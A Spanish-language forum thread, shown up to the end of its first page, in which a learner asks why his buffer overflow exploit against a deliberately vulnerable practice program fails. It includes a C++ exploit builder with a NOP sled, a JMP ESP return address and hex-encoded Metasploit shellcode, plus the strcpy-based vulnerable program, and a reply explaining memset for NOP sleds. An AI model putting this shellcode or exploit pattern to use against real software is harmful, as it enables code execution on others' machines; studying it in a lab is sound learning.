Problema Con Buffer Overflow

(1/3) > >>

Blackhawk222:
Hola a todos.
Es la primera vez que pregunto algo en este foro, espero que puedan ayudarme por que no encontre la respuesta de este problema en ninguna manual que he leido.
El tema es el siguiente estoy aprendiendo los Buffer Overflows, utilizando un programa sacado de una manual sobre el mismo tema.
El programa a los 316 caracteres empieza a sobreescribir el registro EIP, el asunto es que el EIP hace su salto a el offset 7C86467B (JMP ESP - Libreria KERNEL32) pero la shellcode no se ejecuta correctamente debido a que no se abre la shell o el programa que elegi.
El OllyDbg me dice Violacion de acceso al leer 00000032.
Yo vi que la pila no contiene toda la shellcode completa sino una pequeña parte...
Alguna idea sobre el problema?

CODIGO DEL EXPLOIT

Código:

#include <cstdlib>
#include <iostream>
#include <fstream>

using namespace std;

int main(int argc, char *argv[])
{

char shell[] = "\x2b\xc9\xbb\xef\x7a\x3b\xa1\xdb\xc8\xb1\x32\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x13\x03\x5a\x13\x83\xc2\x04\xe2\x1a\x86\xd3\x28"
"\xe4\x77\x24\x4b\x6d\x92\x15\x59\x09\xd6\x04\x6d\x5a\xba\xa4"
"\x06\x0e\x2f\x3e\x6a\x86\x40\xf7\xc1\xf0\x6f\x08\xe4\x3c\x23"
"\xca\x66\xc0\x3e\x1f\x49\xf9\xf0\x52\x88\x3e\xec\x9d\xd8\x97"
"\x7a\x0f\xcd\x9c\x3f\x8c\xec\x72\x34\xac\x96\xf7\x8b\x59\x2d"
"\xf6\xdb\xf2\x3a\xb0\xc3\x79\x64\x60\xf5\xae\x76\x5c\xbc\xdb"
"\x4d\x17\x3f\x0a\x9c\xd8\x71\x72\x73\xe7\xbd\x7f\x8d\x20\x79"
"\x60\xf8\x5a\x79\x1d\xfb\x99\x03\xf9\x8e\x3f\xa3\x8a\x29\x9b"
"\x55\x5e\xaf\x68\x59\x2b\xbb\x36\x7e\xaa\x68\x4d\x7a\x27\x8f"
"\x81\x0a\x73\xb4\x05\x56\x27\xd5\x1c\x32\x86\xea\x7e\x9a\x77"
"\x4f\xf5\x09\x63\xe9\x54\x44\x72\x7b\xe3\x21\x74\x83\xeb\x01"
"\x1d\xb2\x60\xce\x5a\x4b\xa3\xaa\x85\xa9\x61\xc7\x2d\x74\xe0"
"\x6a\x30\x87\xdf\xa9\x4d\x04\xd5\x51\xaa\x14\x9c\x54\xf6\x92"
"\x4d\x25\x67\x77\x71\x9a\x88\x52\x03\x79\x10\x38\x87\xe8\xaa"
"\xc2";

char ret[]= "\x7B\x46\x86\x7C"; /*KERNEL 32.DLL JMP ESP */
   
/*316NOPS */
char nops[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90";


cout << "CREANDO EXPLOIT" << endl;                     
ofstream archivo;
archivo.open("a.txt");
archivo<<nops<<ret<<shell;
archivo.close();
cout << "LISTO !!!" << endl;
cout<<endl<<shell;
system("PAUSE");
}



CODIGO DEL SOFT VULNERABLE

Código:

#include <cstdlib>
#include <iostream>
using namespace std;

int LeerFichero(char *Fbuffer, char *Fnombre, int Limite)
{
int c;
int n=0;
FILE *f;
f=fopen(Fnombre,"r");
while ((c=getc(f))!=EOF)
{
if(n<Limite)
{Fbuffer[n++]=c;}
}
Fbuffer[n++]=0;
fclose(f);
return 0;
}

int FuncionVulnerable(char *cptr)
{
char buff[300] = "Datos";
strcpy(buff,cptr);
printf("%s\n\n",buff);
return 0;
}

int FuncionOculta()
{
printf("Este texto nunca deberia de haberse mostrado");
return 0;
}

int main()
{
char buffer[1000];
char nombre[] = "a.txt";
LeerFichero(buffer,nombre,1000);
FuncionVulnerable(buffer);
return 0;
}

Gracias....

Garfield07:
Amigo, si tienes lo de funcion oculta, no te compliques la vida  :P
Otra cosa, tienes ahi el NOP, hazlo con memset xD
Y... a ver si tu shellcode no es correcta, puede ser para otro SP, o otro SO que tmb...  :silbar: la has hecho tu?

Blackhawk222:
Como es eso de memset? y lo de los nops no entiendo a lo que te referis.
La shellcode salio de metasploit es para ejecutar el editor de registro sino me equivoco.

Garfield07:
¿No me digas que usastes Metasploit  >:(? Lo odio, eso no es hacking...
Te explico, hay una funcion usada para llenar la memoria con datos. Yo la uso asi:
Código
#include <stdio.h>
#include <string.h>
 
int main ()
{
char nops [56];
memset (nops, '\x90', 56);
puts (nops);
return 0;
}
 
Código:

gcc -o code code.c

Código:

./code > hola.txt

Código:

hexdump -C hola.txt


Los NOPS son una instruccion del procesador que no hace nada. Se usa para llegar la shellcode... Su valor, como ves, es 0x90.

Blackhawk222:
A ver si entiendo memset sirver para no tener que andar escribiendo todos los nops no?
Lo de los nops ya sabia para que servian pero gracias.
Bueno alguna idea de por que no anda el exploit?
Como dije la shellcode la creo metasploit supongo que ahi esta el problema, que dicen?

Navegación

[0] Índice de Mensajes

[#] Página Siguiente